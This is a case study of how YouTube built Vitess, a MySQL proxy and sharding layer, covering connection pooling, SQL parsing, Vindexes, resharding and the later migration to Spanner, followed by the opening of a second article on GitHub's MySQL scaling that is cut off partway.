Vitess answers a question most teams face eventually: what happens when MySQL can't keep up, but migrating to a different database is more expensive than scaling the one you have?

- **The core insight**: Instead of replacing MySQL, insert a proxy layer (VTGate + VTTablet) that handles connection pooling, query routing, and shard management. Applications talk to Vitess as if it were a single MySQL instance. The proxy parses SQL—a foundational decision that enabled query rewriting, shard routing, and safety mechanisms impossible with a pass-through proxy.
- **Connection pooling came first**: YouTube's immediate crisis was 5,000 simultaneous connections crashing primaries on failover. VTTablet's connection pool was Vitess's first feature, keeping MySQL at optimal connection counts regardless of application-side traffic spikes.
- **Sharding evolved from vertical to horizontal**: YouTube split unrelated table groups (user data, video metadata, fraud tables) into separate databases first, then horizontally sharded individual tables using Vindexes—pluggable functions that map column values to shard locations.
- **Resharding without downtime**: VReplication copies data to new shards while replication keeps them in sync. Traffic switches atomically (seconds of write unavailability). YouTube grew from 4 shards to 256 through exponential splitting.
- **The trade-off**: Vitess sacrifices cross-shard transaction isolation, stored procedures, window functions, and foreign keys across shards. It optimizes for the 95% of queries that are single-shard lookups and index scans.

## Context

### The System

YouTube was acquired by Google in October 2006 for $1.65 billion. At the time, YouTube's backend ran on MySQL—a decision made by the original founding team and one that would persist for over a decade.

| Attribute          | Detail                                                                |
| ------------------ | --------------------------------------------------------------------- |
| **Database**       | MySQL (InnoDB)                                                        |
| **Sharding**       | 4 application-level shards at the time Vitess was conceived           |
| **Connections**    | ~5,000 simultaneous connections to each primary                       |
| **Replicas**       | 75 per primary at peak (later 80-100)                                 |
| **Data centers**   | 20 globally distributed cells                                         |
| **Write topology** | All writes concentrated in Mountain View; reads load-balanced locally |

### The Trigger

**Date**: Late 2006, approximately three years after Google's acquisition.

YouTube was experiencing exponential growth in outages. The team had already manually sharded to 4 databases, but outages were occurring multiple times per day. The pattern was consistent: a traffic spike or a failover event would cause all web servers to simultaneously reconnect to a new primary, overwhelming it with 5,000+ connections—causing the new primary to crash, triggering another failover, in a cascading loop.

Sugu Sougoumarane, who would co-create Vitess, described the situation: the team's tolerance for downtime was decreasing while the number of engineers writing database-affecting code was increasing. Iterative fixes were not keeping pace with the growing outage rate.

### Constraints

- **MySQL was non-negotiable**: YouTube's entire stack—schemas, queries, operational tooling—was built on MySQL. A migration to a different database would have been a multi-year effort affecting every team.
- **Google's infrastructure was MySQL-hostile**: Inside Google, Borg (the predecessor to Kubernetes) treated local disk as ephemeral. The well-supported storage options were Bigtable and Colossus. There was no first-class MySQL support—no mounted block storage, no official tooling.
- **Application code owned sharding logic**: Every query in the codebase knew which shard to target. The application determined read-replica routing and shard selection based on WHERE clauses. Cross-shard indexes were maintained manually.
- **Schema changes were dangerous**: Any DDL (Data Definition Language) operation on large tables risked locking the database and causing outages.

## The Problem

### Symptoms

The failure mode was a cascading connection storm:

1. A primary MySQL instance would degrade (slow queries, hardware issue, or planned maintenance)
2. The instance would be removed from serving, triggering failover to a replica
3. All ~5,000 web server connections would simultaneously open against the new primary
4. The new primary, already catching up on replication, couldn't handle the connection stampede
5. The new primary would crash or become unresponsive
6. Another failover would trigger, repeating the cycle

**Timeline of escalation:**

- **2006-2009**: Outages increase from occasional to multiple per day
- **Late 2006**: Sugu Sougoumarane and Mike Solomon begin cataloging every database problem YouTube faces
- **2010**: Vitess development begins with connection pooling as the first feature
- **2011**: Vitess becomes the core of YouTube's MySQL serving infrastructure

### Root Cause Analysis

**Investigation process:**

Solomon spent several days creating a spreadsheet documenting every database problem, current solutions, and ideal solutions. The analysis revealed that individual fixes (better monitoring, faster failover, query optimization) addressed symptoms but not the architectural flaw.

**The actual root cause:**

The problems were not MySQL's fault—they were management problems at scale:

1. **Unbounded connections**: Applications opened connections directly to MySQL. As the application fleet grew, connection counts grew proportionally with no ceiling.
2. **No query safety net**: Any developer could deploy a query without a LIMIT clause, a missing index scan, or a long-running transaction. There was no central point to enforce query discipline.
3. **Shard topology leaked into application code**: Every service needed to know the sharding layout, which shard held which data, and whether to read from primary or replica. This coupling made resharding a coordinated multi-team effort.
4. **No operational abstraction**: Failover, backup, schema changes, and shard management were all manual or semi-automated processes that required deep MySQL expertise.

### Why It Wasn't Obvious

The problems appeared to be independent: connection storms, slow queries, schema change outages, and resharding difficulty. The spreadsheet exercise revealed they all stemmed from the same missing layer—there was no intermediary between the application and MySQL that could enforce discipline, abstract topology, and manage connections centrally.

## Options Considered

### Option 1: Migrate to NoSQL (Cassandra, MongoDB, or Bigtable)

**Approach:** Abandon MySQL entirely and rewrite the data layer for a horizontally scalable NoSQL system.

**Pros:**

- Native horizontal scaling without middleware
- No sharding logic needed (built into the database)

**Cons:**

- Complete rewrite of all data access patterns
- Loss of ACID transactions, joins, and the relational model
- YouTube's schemas and queries were deeply relational
- Multi-year migration with high risk of data inconsistency

**Why not chosen:** The relational model was embedded in YouTube's DNA. Queries used joins, transactions, and complex WHERE clauses that NoSQL databases of 2010 couldn't efficiently support. The migration cost was prohibitive.

### Option 2: Migrate to Google Spanner or Megastore

**Approach:** Use Google's internally developed distributed databases, which offered strong consistency and horizontal scaling.

**Pros:**

- Global distribution with strong consistency
- Supported by Google's infrastructure team
- No operational burden on YouTube's team

**Cons:**

- Spanner was not yet production-ready in 2010 (the Spanner paper was published in 2012)
- Megastore had significant performance limitations for OLTP (Online Transaction Processing) workloads
- Migration from MySQL's schema and query patterns would still be extensive
- YouTube's query patterns didn't require global strong consistency for most data

**Why not chosen:** The timing didn't work. When Vitess development started in 2010, Spanner wasn't available. Megastore's performance characteristics didn't match YouTube's OLTP workload. Notably, Google later mandated migrating YouTube to Spanner around 2019—a policy decision as much as a technical one.

### Option 3: Modify MySQL Source Code

**Approach:** Fork MySQL and add sharding, connection pooling, and operational tooling directly into the database engine.

**Pros:**

- No proxy overhead
- Deepest possible integration

**Cons:**

- Maintaining a MySQL fork means tracking every upstream security patch and version upgrade
- Limited team with MySQL internals expertise
- Changes would be MySQL-version-specific

**Why not chosen:** The maintenance burden of a MySQL fork was unsustainable. Every MySQL upgrade would require re-merging custom changes. Security patches would be delayed while the team validated compatibility.

### Option 4: Build a Middleware Layer (Chosen)

**Approach:** Insert a proxy between applications and MySQL that handles connection pooling, query routing, shard management, and operational automation—without modifying MySQL itself.

**Pros:**

- MySQL remains unmodified (easy to upgrade, apply security patches)
- Applications can be migrated incrementally
- Operational tooling centralized in one system
- Open-sourceable (no proprietary MySQL changes)

**Cons:**

- Additional network hop adds latency
- Must build and maintain a SQL parser
- Some MySQL features become unavailable across shards (cross-shard joins, transactions)

**Why chosen:** This approach addressed all identified problems without requiring changes to MySQL or a full data layer rewrite. The proxy could be deployed incrementally, and every feature built for YouTube would work for any MySQL deployment.

### Decision Factors

| Factor                | NoSQL Migration     | Spanner/Megastore   | MySQL Fork                  | Middleware (Vitess)           |
| --------------------- | ------------------- | ------------------- | --------------------------- | ----------------------------- |
| Migration effort      | Years, full rewrite | Years, full rewrite | Months, ongoing maintenance | Incremental                   |
| MySQL compatibility   | None                | None                | Full (but fragile)          | High (with known limitations) |
| Operational risk      | High                | Medium              | Medium                      | Low (incremental rollout)     |
| Long-term maintenance | Low                 | Low                 | Very high                   | Medium                        |
| Team expertise        | New skills needed   | New skills needed   | Deep MySQL internals        | MySQL + middleware            |

## Implementation

### The Foundational Decision: Building a SQL Parser

The single most important architectural decision was building a full SQL parser in Go. Sugu Sougoumarane called this "the most difficult decision" and "the one decision that has definitely paid off."

**Why it mattered:** A pass-through proxy can pool connections and route based on database names, but it can't:

- Rewrite queries (adding LIMIT clauses, injecting shard-targeting hints)
- Analyze query plans to determine which shards need the query
- Deduplicate identical concurrent queries
- Enforce query safety rules (blocking unbounded scans)
- Support transparent resharding (the proxy must understand WHERE clauses to route correctly)

Building the parser transformed Vitess from a connection pooler into a distributed database system.

### Architecture: Three Core Components

<figure>

![Vitess's three-tier architecture: VTGate routes queries, VTTablet manages per-MySQL connections and safety, and the Topology Service provides shard metadata.](./vitess-s-three-tier-architecture-vtgate-routes-queries-vttablet-manages-per-mysq.svg)

<figcaption>Vitess's three-tier architecture: VTGate routes queries, VTTablet manages per-MySQL connections and safety, and the Topology Service provides shard metadata.</figcaption>
</figure>

#### VTGate: The Stateless Query Router

VTGate is the entry point for all application queries. It speaks both the MySQL wire protocol and gRPC, so applications can connect to it as if it were a standard MySQL server.

**Responsibilities:**

- **Query parsing and routing**: Analyzes SQL to determine which shards contain the relevant data using Vindex lookups
- **Scatter-gather execution**: For queries spanning multiple shards, VTGate sends queries in parallel and merges results
- **Result aggregation**: Handles ORDER BY, GROUP BY, and LIMIT across shards at the proxy level
- **Transaction coordination**: Routes multi-statement transactions and coordinates two-phase commits when needed

VTGate is stateless—it can be horizontally scaled behind a load balancer. If one VTGate instance fails, clients reconnect to another with no state loss. At YouTube, VTGate handled 90% of query traffic statelessly.

#### VTTablet: The Per-MySQL Sidecar

Every MySQL instance has a VTTablet process running alongside it. VTTablet was the first component built, solving the immediate connection pooling crisis.

**Responsibilities:**

- **Connection pooling**: Maintains a fixed pool of connections to MySQL, preventing the unbounded connection growth that caused cascading failures. The pool implementation uses lock-free algorithms with atomic operations and non-blocking data structures.
- **Query safety**: Automatically adds LIMIT clauses to unbounded queries (default: 10,001 rows, returning an error if exceeded rather than silently truncating). Kills queries exceeding configurable time limits (default: 30 seconds).
- **Query deduplication**: When identical queries execute simultaneously, VTTablet holds subsequent queries until the first completes and shares the result. At YouTube, a user with 250,000 uploaded videos would trigger expensive count queries on every page view—deduplication collapsed these into a single query.
- **Row-level caching**: Uses an optional memcached-backed cache for individual rows by primary key, with real-time invalidation via MySQL's replication stream.
- **Query blacklisting**: Operators can block specific query patterns (by fingerprint) without application deployment.

#### Topology Service: The Metadata Store

The Topology Service stores the mapping of keyspaces to shards to tablets. It uses a pluggable backend—YouTube used an internal system, but open-source deployments typically use etcd, ZooKeeper, or Consul.

**Stored data:**

| Data                       | Purpose                                                |
| -------------------------- | ------------------------------------------------------ |
| Keyspace definitions       | Which logical databases exist                          |
| Shard ranges               | Which key ranges map to which shards                   |
| Tablet types and locations | Primary, replica, read-only replica per shard per cell |
| VSchema                    | Vindex definitions and routing rules                   |

VTGate caches topology data locally and refreshes periodically, avoiding the topology service from becoming a bottleneck.

### Sharding Design: Vindexes

YouTube's sharding evolved through two phases:

**Phase 1: Vertical sharding.** Unrelated table groups were separated into distinct keyspaces (logical databases). User data, video metadata, and fraud detection tables each got their own keyspace. This provided immediate relief but has a practical ceiling—Sugu noted you can typically do 4-5 vertical splits before running out of table groups to separate.

**Phase 2: Horizontal sharding with Vindexes.** Tables within a keyspace were split across shards based on a sharding key.

A Vindex (Virtual Index) is a pluggable function that maps a column value to a keyspace ID, which in turn determines the target shard. Vitess supports several Vindex types:

| Vindex Type             | Mechanism                                               | Use Case                                      | Cost     |
| ----------------------- | ------------------------------------------------------- | --------------------------------------------- | -------- |
| **Hash**                | Deterministic hash of column value                      | Even distribution, point lookups              | 1        |
| **Identity**            | Column value used directly as keyspace ID               | Pre-hashed data                               | 0        |
| **Lookup (Unique)**     | Persistent backing table mapping values to keyspace IDs | Secondary index on non-sharding column        | 10       |
| **Lookup (Non-unique)** | Same, but one-to-many mapping                           | Search by non-unique attributes               | 20       |
| **Custom**              | User-provided function                                  | Vendor-based routing, geographic partitioning | Variable |

The cost values determine query planning priority—VTGate uses the applicable Vindex with the lowest cost for routing.

**Critical design constraint**: Horizontal sharding requires converting many-to-many relationships into one-to-one or one-to-many hierarchies. Cross-shard relationships must be maintained through asynchronous consistency—lookup Vindexes that are updated during writes.

### Resharding: Growing from 4 to 256 Shards

YouTube grew from 4 shards to 256 through exponential splitting, each split doubling capacity. The resharding workflow uses VReplication:

1. **Create target shards**: New empty MySQL instances are provisioned
2. **Start VReplication streams**: VReplication copies all data from source shards to target shards using a "pull" model—target tablets subscribe to source change events
3. **Catch up**: Once the bulk copy completes, VReplication enters streaming mode, applying ongoing changes to keep targets in sync
4. **Verify**: VDiff compares source and target data for consistency
5. **Switch traffic**: SwitchTraffic first stops writes on source primaries, waits for replication to catch up (typically seconds), then atomically updates the topology to route all traffic to the new shards
6. **Cleanup**: Old shards and replication artifacts are removed

The write unavailability during the cutover step is typically a few seconds. At 256 shards, Sugu believed they might never need to reshard again—each subsequent split doubles capacity exponentially.

### Running on Borg: Cloud-Native Before Cloud-Native

In 2013, Google mandated that YouTube move all data into Google's internal infrastructure (Borg). This constraint inadvertently made Vitess cloud-native:

- **Ephemeral local disk**: Borg treated local storage as temporary. Vitess had to handle MySQL running on storage that could disappear.
- **Semi-synchronous replication**: To ensure durability despite ephemeral storage, Vitess configured MySQL so primaries only acknowledge commits after at least one replica has received the transaction in its relay log. This guaranteed that data survived even if the primary's disk was reclaimed.
- **Automated failover**: With ephemeral infrastructure, node loss was routine. Vitess automated the entire reparenting process:
  - **PlannedReparentShard**: For scheduled maintenance—gracefully transitions the primary role to a chosen replica
  - **EmergencyReparentShard**: For unplanned failures—promotes the most advanced replica based on GTID (Global Transaction Identifier) position

This Borg experience directly translated to Kubernetes compatibility when Vitess was open-sourced. The assumption that infrastructure is ephemeral—the core tenet of cloud-native design—was baked in from 2013.

### Language Choice: Go

Vitess was written in Go starting in 2010, before Go 1.0 was released. Sugu described the decision as trusting the language's creators—Rob Pike, Russ Cox, Ken Thompson, and Robert Griesemer—and called it "one of the best decisions we have ever made."

Go's goroutines and channels mapped naturally to Vitess's concurrency model: handling thousands of simultaneous database connections, parallel query execution across shards, and streaming replication events.

### VReplication: The Underlying Primitive

VReplication is a change-data-capture (CDC) system built into Vitess. Sugu called it "one of the best technologies we ever built in Vitess." It subscribes to MySQL's binary log events and materializes tables in different forms elsewhere.

**Uses:**

- **Resharding**: Copies and streams data during shard splits
- **Online DDL**: Creates a shadow table with the new schema, uses VReplication to populate it, then atomically switches. This replaced the need for external tools like gh-ost or pt-online-schema-change, though Vitess also supports those.
- **Materialized views**: Creates denormalized copies of data in other keyspaces
- **Cross-cluster replication**: Feeds data to analytics systems or disaster recovery clusters

VReplication provides INSERT, UPDATE, and DELETE events via the VStream API, eliminating the need for separate ETL tooling for change data capture.

## Outcome

### Scale Achieved

| Metric                          | Value                                                 |
| ------------------------------- | ----------------------------------------------------- |
| **Peak QPS**                    | Tens of millions (50M+ reported by secondary sources) |
| **MySQL instances**             | 10,000+ across 20+ cells                              |
| **Maximum shards per keyspace** | 256                                                   |
| **Replicas per primary**        | 75 (up to 80-100)                                     |
| **Active serving period**       | 2011-2019 (all YouTube database traffic)              |
| **Users served**                | 2.49 billion monthly active users                     |
| **Uptime**                      | 99.99%                                                |

### Operational Improvements

| Area                      | Before Vitess                             | After Vitess                                            |
| ------------------------- | ----------------------------------------- | ------------------------------------------------------- |
| **Connection management** | Unbounded, cascading failures             | Fixed pool, graceful degradation                        |
| **Query safety**          | No enforcement, developer discipline only | Automatic LIMIT injection, query killing, blacklisting  |
| **Schema changes**        | Dangerous, locking, outage-prone          | Online DDL via VReplication or gh-ost                   |
| **Resharding**            | Manual, multi-team coordinated effort     | Automated, zero-downtime VReplication workflow          |
| **Failover**              | Semi-manual, error-prone                  | Automated PlannedReparentShard / EmergencyReparentShard |
| **Shard topology**        | Embedded in application code              | Abstracted behind VTGate                                |

### The Spanner Migration

Between 2011 and 2019, Vitess served all YouTube database traffic. Around 2019, YouTube began migrating to Google Cloud Spanner. The drivers were both technical and organizational:

**Technical factors:**

- Spanner offered global strong consistency without the CAP-theorem trade-offs inherent in MySQL replication
- Cross-shard transactions in Vitess lacked isolation guarantees (concurrent reads could observe partial commits)
- Spanner eliminated the operational overhead of managing MySQL replication topology

**Organizational factors:**

- Google policy was to standardize on Spanner across the organization. As one insider noted, this was "not a technical decision" but a corporate standardization choice.

This migration validates a key lesson: Vitess was the right solution for 2010-2019, buying YouTube nearly a decade of MySQL scaling while Spanner matured. The middleware approach is inherently a bridge—it extends MySQL's useful life but doesn't eliminate its fundamental limitations around distributed transactions and global consistency.

### Industry Adoption

After YouTube, Vitess was adopted by companies facing similar scaling challenges:

| Company          | Scale                                             | Use Case                                                                                |
| ---------------- | ------------------------------------------------- | --------------------------------------------------------------------------------------- |
| **Slack**        | 2.3M QPS at peak, 3-year migration (2017-2020)    | Replaced workspace-based sharding; resharded by channel ID for better load distribution |
| **GitHub**       | Maintains a public Vitess fork (github/vitess-gh) | MySQL horizontal partitioning                                                           |
| **HubSpot**      | 400 to 700 MySQL clusters, 3-5 person team        | Provisioning reduced from days to minutes; failover in seconds                          |
| **JD.com**       | 30M QPS during peak sales (reported)              | E-commerce transaction data in containerized environments                               |
| **Square/Block** | 16+ shards                                        | Cash App financial transactions                                                         |
| **Shopify**      | Multi-terabyte, billions of rows                  | Shop app horizontal scaling; schema migrations reduced from weeks to hours              |

Vitess graduated as a CNCF (Cloud Native Computing Foundation) project in November 2019—the eighth project to graduate after Kubernetes, Prometheus, Envoy, CoreDNS, containerd, Fluentd, and Jaeger. PlanetScale, founded in 2018 by Vitess co-creators Sugu Sougoumarane and Jiten Vaidya, commercialized Vitess as a managed database service.

## Lessons Learned

### Technical Lessons

#### 1. Build the Parser

**The insight:** The decision to build a SQL parser—rather than a simpler pass-through proxy—transformed Vitess from a connection pooler into a distributed database. Every subsequent feature (query rewriting, shard routing, safety enforcement, online DDL) depended on the ability to parse and analyze SQL.

**How it applies elsewhere:** When building middleware between applications and databases, invest in understanding the protocol deeply. A semantic understanding of the traffic flowing through your proxy unlocks capabilities that pass-through approaches cannot achieve.

**Warning signs to watch for:** If your database proxy is growing features that require understanding query semantics (routing by table, rate limiting by query type, query rewriting), and you don't have a parser, you're accumulating technical debt.

#### 2. Connection Pooling Is Not Optional at Scale

**The insight:** MySQL's connection model (one thread per connection, significant per-connection memory overhead) makes unbounded connections a reliability risk. VTTablet's lock-free connection pool was the first Vitess feature because cascading connection storms were the most immediate threat.

**How it applies elsewhere:** Any system with a connection-per-request model will eventually hit a ceiling. The answer isn't "just add more connections"—it's centralizing connection management in a pool with a hard ceiling. MySQL's SSL handshake can add up to 50ms per connection, making connection reuse critical for latency-sensitive workloads.

**Warning signs to watch for:** If your database connection count correlates linearly with your application fleet size, you will eventually hit the database's connection limit during a traffic spike or failover event.

#### 3. Middleware Buys Time, Not Eternity

**The insight:** Vitess gave YouTube nearly a decade of MySQL scaling (2011-2019). But the fundamental limitations of MySQL-with-middleware—no cross-shard transaction isolation, no global strong consistency, operational complexity of managing replication—remained. YouTube eventually migrated to Spanner when it matured.

**How it applies elsewhere:** If you're evaluating Vitess or similar middleware, understand that it extends your current database's useful life but doesn't eliminate its architectural constraints. Plan for the eventual migration—the middleware phase should be buying time while you evaluate and prepare for the next platform, not avoiding the decision indefinitely.

#### 4. Decouple Shard Topology from Application Code

**The insight:** Before Vitess, YouTube's application code knew the sharding layout—which shard held which data, how to route reads vs. writes. This coupling made resharding a multi-team coordination effort. Moving this knowledge into the proxy allowed resharding without application changes.

**How it applies elsewhere:** Any time infrastructure topology leaks into application code, you create an n-team coordination problem for infrastructure changes. Abstractions that hide topology (service meshes, database proxies, message broker abstractions) pay for themselves in operational agility.

### Process Lessons

#### 1. The Spreadsheet That Changed Everything

**What they did:** Before writing code, Solomon spent days creating a comprehensive spreadsheet of every database problem, every existing workaround, and what an ideal solution would look like. This systematic analysis revealed that seemingly independent problems shared a root cause.

**What they'd do differently:** Start with this analysis earlier. YouTube spent years fighting individual symptoms before the spreadsheet exercise revealed the systemic issue.

#### 2. Open-Source from the Start

**What they did:** Vitess was designed as open source from inception. Every feature YouTube needed had to be implemented generically—no YouTube-specific assumptions baked in.

**The payoff:** This constraint forced cleaner abstractions. When Vitess was open-sourced (2012 on code.google.com, later GitHub), it was immediately usable by other organizations. This decision also led to PlanetScale and a sustainable commercial ecosystem around the project.

### Organizational Lessons

#### 1. Corporate Standardization Can Override Technical Fit

YouTube's migration from Vitess to Spanner was partly driven by Google's policy to standardize on Spanner—not purely by technical limitations of Vitess. This is a common pattern in large organizations: the "best" technology for a team may lose to the "standard" technology for the organization.

**Implication:** When building systems, consider both technical fit and organizational trajectory. If your organization is converging on a standard data platform, building extensive middleware for an alternative may create technical debt that accelerates rather than defers migration.

## Applying This to Your System

### When This Pattern Applies

You might benefit from a Vitess-like approach if:

- Your MySQL database is approaching single-instance limits (connections, storage, or QPS)
- Your application code contains shard-routing logic
- Schema changes are risky, slow, or require downtime
- Failover is manual or error-prone
- You need horizontal scaling but can't afford a full database migration

### When This Pattern Does Not Apply

Vitess is the wrong choice if:

- Your workload requires frequent cross-shard transactions with isolation guarantees
- You rely heavily on stored procedures, window functions, or foreign keys across tables
- Your dataset fits comfortably on a single MySQL instance (premature sharding adds complexity without benefit)
- You need HTAP (Hybrid Transactional/Analytical Processing)—Vitess is optimized for OLTP

### Checklist for Evaluation

- [ ] Are you hitting MySQL connection limits during traffic spikes or failovers?
- [ ] Is your application code aware of your database's sharding topology?
- [ ] Do schema changes require downtime or multi-day coordination?
- [ ] Are you running manual or semi-automated failover processes?
- [ ] Do you have at least 3-5 engineers who can dedicate time to Vitess operations (or budget for a managed service)?
- [ ] Can your data model be restructured to minimize cross-shard queries?

### Starting Points

If you want to explore Vitess:

1. **Start with connection pooling**: Deploy VTTablet in front of an unsharded MySQL instance. This provides immediate value (connection management, query safety) without any sharding complexity.
2. **Vertical sharding next**: Separate unrelated table groups into distinct keyspaces. This doesn't require changing your data model.
3. **Horizontal sharding when needed**: Only shard tables that have outgrown a single instance. Define Vindexes based on your most common query patterns.
4. **Consider managed options**: PlanetScale and other providers operate Vitess as a service, eliminating the operational overhead that consumes 3-10 engineers for self-managed deployments.

## Conclusion

Vitess represents a pragmatic engineering philosophy: rather than rebuilding from scratch, extend what works. YouTube took a database (MySQL) that was well-understood, well-tested, and deeply embedded in their stack, and built a middleware layer that addressed its scaling limitations without abandoning its strengths.

The architectural bet—building a full SQL parser in a proxy layer—was the critical decision. It transformed a connection pooler into a distributed database that served 2.49 billion users across tens of thousands of MySQL instances for nearly a decade.

But Vitess also illustrates the limits of the middleware approach. Cross-shard transaction isolation, global strong consistency, and the operational complexity of managing MySQL replication topology at scale are fundamental constraints that a proxy layer cannot fully resolve. YouTube's eventual migration to Spanner confirms that middleware extends, but does not eliminate, the need for purpose-built distributed databases at global scale.

For the majority of organizations—those that need horizontal MySQL scaling but operate at less than YouTube's 50M QPS—Vitess remains one of the most battle-tested solutions available. The key is understanding what it optimizes (single-shard OLTP, operational automation, transparent resharding) and what it sacrifices (cross-shard isolation, full MySQL feature compatibility).

## Appendix

### Prerequisites

- MySQL replication concepts (primary-replica, GTID, semi-synchronous replication)
- Horizontal sharding fundamentals (consistent hashing, key-range partitioning)
- Basic understanding of connection pooling and database proxy patterns

### Terminology

| Term                 | Definition                                                                                                  |
| -------------------- | ----------------------------------------------------------------------------------------------------------- |
| **Keyspace**         | A logical database in Vitess, equivalent to a MySQL database but potentially spanning multiple shards       |
| **Vindex**           | Virtual Index—a pluggable function mapping column values to keyspace IDs for shard routing                  |
| **VTGate**           | Stateless proxy that routes queries to the correct shards                                                   |
| **VTTablet**         | Per-MySQL sidecar handling connection pooling, query safety, and replication management                     |
| **VReplication**     | Vitess's built-in change-data-capture system used for resharding, online DDL, and data materialization      |
| **Reparenting**      | Promoting a replica to primary, either planned (PlannedReparentShard) or emergency (EmergencyReparentShard) |
| **Topology Service** | Distributed metadata store (etcd, ZooKeeper, or Consul) holding shard maps and tablet information           |
| **Keyspace ID**      | A computed value that determines which shard a row belongs to                                               |

### Summary

- YouTube built Vitess starting in 2010 to address cascading connection storms and operational fragility in their MySQL infrastructure, which had been manually sharded to 4 databases
- The foundational decision was building a full SQL parser, which enabled query routing, safety enforcement, deduplication, and transparent resharding—transforming a connection pooler into a distributed database
- VTTablet's connection pool was the first feature, solving the immediate crisis of 5,000 simultaneous connections crashing primaries on failover
- YouTube scaled from 4 shards to 256, with 75+ replicas per primary across 20 data centers, serving tens of millions of QPS
- Vitess served all YouTube database traffic from 2011 to 2019 before YouTube migrated to Google Spanner, driven by both technical needs (global consistency) and organizational standardization
- The project graduated from CNCF in November 2019 and is now used by Slack, GitHub, HubSpot, JD.com, Square, and Shopify, among others

### References

- [Vitess: Scaling MySQL at YouTube Using Go - USENIX LISA '12](https://www.usenix.org/conference/lisa12/vitess-scaling-mysql-youtube-using-go) - Sugu Sougoumarane and Mike Solomon's original presentation (December 2012)
- [Vitess Official Documentation - History](https://vitess.io/docs/22.0/overview/history/) - Project timeline and milestones
- [SE Radio 560: Sugu Sougoumarane on Distributed SQL with Vitess](https://se-radio.net/2023/04/se-radio-560-sugu-sougoumarane-on-distributed-sql-with-vitess/) - Detailed interview covering architecture, design decisions, and YouTube scale numbers
- [Percona Live Talk: Vitess: The Complete Story](https://vitess.io/blog/2016-03-10-percona-live-featured-talk-with-sugu-sougoumarane-vitess-the-complete-story/) - Sugu Sougoumarane's comprehensive talk on Vitess origins and naming
- [The Changelog #485: The Story of Vitess](https://changelog.com/podcast/485) - Deepthi Sigireddi on Vitess history and architecture
- [Software at Scale 29: Sugu Sougoumarane, CTO PlanetScale](https://www.softwareatscale.dev/p/software-at-scale-29-sugu-sougoumarane) - Origin story, naming, YouTube scale details
- [CNCF Vitess Graduation Announcement](https://www.cncf.io/announcements/2019/11/05/cloud-native-computing-foundation-announces-vitess-graduation/) - Graduation details and adopter list
- [CNCF Vitess Project Journey Report](https://www.cncf.io/reports/vitess-project-journey-report/) - Contributor and adoption metrics
- [Scaling Datastores at Slack with Vitess](https://slack.engineering/scaling-datastores-at-slack-with-vitess/) - Slack's 3-year migration case study
- [Vitess Connection Pooling Blog](https://vitess.io/blog/2023-03-27-connection-pooling-in-vitess/) - Connection pooling technical details
- [Vitess Distributed Transactions](https://vitess.io/blog/2016-06-07-distributed-transactions-in-vitess/) - 2PC implementation and trade-offs
- [Vitess MySQL Compatibility](https://vitess.io/docs/22.0/reference/compatibility/mysql-compatibility/) - Complete list of supported and unsupported MySQL features
- [Vitess Vindexes Documentation](https://vitess.io/docs/22.0/reference/features/vindexes/) - Vindex types, cost model, and configuration
- [PlanetScale: One Million QPS with MySQL](https://planetscale.com/blog/one-million-queries-per-second-with-mysql) - Benchmark demonstrating linear scaling with shard count
- [They Scaled YouTube—Now They'll Shard Everyone with PlanetScale (TechCrunch)](https://techcrunch.com/2018/12/13/planetscale/) - PlanetScale founding and Vitess commercialization
- [Kubernetes Podcast Episode 81: Vitess](https://kubernetespodcast.com/episode/081-vitess/) - Jiten Vaidya and Sugu Sougoumarane on Vitess and PlanetScale

---

## GitHub: Scaling MySQL from One Database to 1,200+ Hosts

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/github-mysql-migration
**Category:** System Design / Real-World Case Studies
**Description:** How GitHub evolved its MySQL infrastructure from a single monolithic database to a fleet of 1,200+ hosts across 50+ clusters serving 5.5 million queries per second (QPS)—through vertical partitioning, custom tooling (gh-ost, orchestrator, freno), Vitess adoption, and a major version upgrade—while keeping github.com available throughout.

# GitHub: Scaling MySQL from One Database to 1,200+ Hosts

How GitHub evolved its MySQL infrastructure from a single monolithic database to a fleet of 1,200+ hosts across 50+ clusters serving 5.5 million queries per second (QPS)—through vertical partitioning, custom tooling (gh-ost, orchestrator, freno), Vitess adoption, and a major version upgrade—while keeping github.com available throughout.

<figure>

![GitHub's MySQL infrastructure evolution across four phases, from a single database to a distributed fleet of 1,200+ hosts.](./github-s-mysql-infrastructure-evolution-across-four-phases-from-a-single-databas.svg)

<figcaption>GitHub's MySQL infrastructure evolution across four phases, from a single database to a distributed fleet of 1,200+ hosts.</figcaption>
</figure>

## Abstract

GitHub's database story is a masterclass in scaling a relational database without abandoning it. The mental model:

| Phase                        | Problem                                                                                       | Solution                                                                                  | Key Insight                                                                         |
| ---------------------------- | --------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- |
| **Monolith** (~2008–2014)    | Single MySQL primary = single point of failure; schema changes = production risk              | Datacenter migration, functional partitioning, read replicas                              | You can defer architectural rework if you optimize hardware and config aggressively |
| **Tooling & HA** (2014–2019) | Trigger-based migrations lock tables; failovers take minutes; replication lag blindsides apps | gh-ost (triggerless), orchestrator/raft (10–13s failover), freno (cooperative throttling) | Build the operational tooling first—it makes every subsequent migration safer       |
| **Partitioning** (2019–2021) | `mysql1` at 950K QPS; any incident affects all features                                       | Schema domains, vertical partitioning, Vitess for horizontal sharding                     | Partition by logical domain, not by load—the boundaries are already in your code    |
| **Fleet scale** (2022–2024)  | 50+ clusters on MySQL 5.7 approaching EOL; fleet too large for manual ops                     | Rolling MySQL 8.0 upgrade with backward replication; automation investment                | Prior partitioning turned one massive upgrade into 50+ smaller, independent ones    |

**The transferable insight**: GitHub never did a "big rewrite." Each phase built operational capability (tooling, partitioning, automation) that made the next phase lower-risk. The tools they built along the way—gh-ost, orchestrator, freno—became industry standards adopted far beyond GitHub.

## Context

### The System

GitHub.com is a Ruby on Rails monolith backed by MySQL. Every non-Git operation—user authentication, repository metadata, issues, pull requests, notifications, actions—reads from or writes to MySQL.

| Metric             | 2018          | 2021       | 2023                   |
| ------------------ | ------------- | ---------- | ---------------------- |
| MySQL hosts        | ~150          | ~500+      | 1,200+                 |
| Database clusters  | ~15           | ~50+       | 50+                    |
| Data stored        | ~15 TB        | ~100+ TB   | 300+ TB                |
| Queries per second | Not published | 1.2M       | 5.5M                   |
| Host type          | Bare metal    | Bare metal | Azure VMs + bare metal |

### The Architecture

Each MySQL cluster follows a primary-replica topology: a single primary node accepts writes while replica nodes asynchronously replay changes and serve read traffic. ProxySQL pools connections from the Rails monolith, and GLB (GitHub Load Balancer) / HAProxy routes traffic to the correct primary.

### Why MySQL?

